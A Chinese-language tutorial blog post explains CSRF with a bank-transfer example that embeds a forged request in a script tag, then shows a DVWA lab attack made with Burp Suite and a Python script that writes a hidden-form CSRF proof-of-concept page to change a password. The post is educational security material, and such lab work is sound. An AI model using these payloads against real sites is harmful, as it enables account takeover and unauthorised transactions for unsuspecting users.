1. 程式人生 > >淺談CSRF漏洞

淺談CSRF漏洞

博客 stat csrf漏洞 抓包 -s ... hack ets 技術

前言: 看完小迪老師的CSRF漏洞講解。感覺不行 就自己百度學習。這是總結出來的。 歌曲: 正文: CSRF與xss和像,但是兩個是完全不一樣的東西。 xss攻擊(跨站腳本攻擊)儲存型的XSS由攻擊者和受害者一同完成。xss詳細介紹:點我跳轉 CSRF(跨站腳本偽造)完全由受害者完成。攻擊者不參與其中。CSRF詳細介紹:點我跳轉 CSRF原理: 銀行轉賬的數據包:http://jianse.com/zhuanzhang.php?name=lu&[email protected]&monet=1000 攻擊者的博客:http://www.hack.com/index,php 把這個加入到js裏面。<script src="http://jianse.com/zhuanzhang.php?name=lu&[email protected]&monet=1000"></script>將這條代碼計入到攻擊者的博客。如果受害者登錄了銀行。而Session又沒有過期,後而訪問了攻擊者的博客。當攻擊者的博客加載好了js代碼。受害者就會打了1000元給攻擊者。 技術分享圖片
技術分享圖片

實驗: 這裏我使用DVWA來做使CSRF漏洞實現。攻擊步驟如下: 首先登錄DVWA,來到CSRF這裏。 註:這裏我的防禦等級為low 技術分享圖片

技術分享圖片 啟動Burpsuite,設置代理。 技術分享圖片

技術分享圖片

技術分享圖片 技術分享圖片 回到剛剛的頁面,輸入要更改的密碼。burp開啟抓包 技術分享圖片 技術分享圖片

抓到的包 技術分享圖片

技術分享圖片 構造CSRF POC 技術分享圖片

技術分享圖片 更改所需要的 技術分享圖片

技術分享圖片 點擊Regenerate按鈕更新POC,點擊Test in browser復制鏈接 技術分享圖片

技術分享圖片 點擊Copy按鈕。復制到瀏覽器上使用 技術分享圖片

技術分享圖片 點擊按鈕實行csrf攻擊。 技術分享圖片

技術分享圖片 從圖中我們可以看到密碼已經更改,退回登錄界面。 技術分享圖片

技術分享圖片 點擊登錄 技術分享圖片

技術分享圖片 從圖中我們可以看到,CSRF攻擊已經成功實施。 既然如此我們為什麽不寫一個CSRF腳本呢? 代碼如下:
import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36‘}
    values=url.split(‘?‘)[-1]
    urltwo=url.split(‘?‘)[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split(‘&‘):
        key,value=line.split(‘=‘,1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print(‘原url:‘,url)
    print(‘url原帶的參數:‘,dumps)
    dumps[‘password_new‘] = ‘password‘
    dumps[‘password_conf‘] = ‘password‘
    valueswto=[g for g in  dumps.values()]
    print(‘url更該後的參數‘,dumps)
    print(‘1.burpsuite的POC‘)


    user=input(‘請進行你的選擇:‘)
    if user == ‘1‘:
        print(‘burpsiuite的POC‘)
        burp=open(‘burp.html‘,‘w‘)
        burp.write(‘<html>\n‘)
        burp.write(‘<body>\n‘)
        burp.write(‘<script>history.pushState("‘‘","‘‘",‘"‘/‘"‘)</script>\n‘)
        burp.write(‘<form action="{}">\n‘.format(urltwos))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[0],valueswto[0]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[1],valueswto[1]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[2],valueswto[2]))
        burp.write(‘<input type="submit" value="Submit CSRF POC"/>\n‘)
        burp.write(‘</form>\n‘)
        burp.write(‘</body>\n‘)
        burp.write(‘</html>\n‘)
        burp.close()
    else:
        print(‘【-】抱歉你沒有進行選擇,退出ing...‘)
        time.sleep(1)
        exit()



poc()

  測試結果如下:

技術分享圖片

生成的html

技術分享圖片

打開burp.html

技術分享圖片

點擊按鈕 技術分享圖片

密碼更改成功。

有關CSRF的資料:《CSRF原理》

《深入CSRF解析》

《從0開始學CSRF》

淺談CSRF漏洞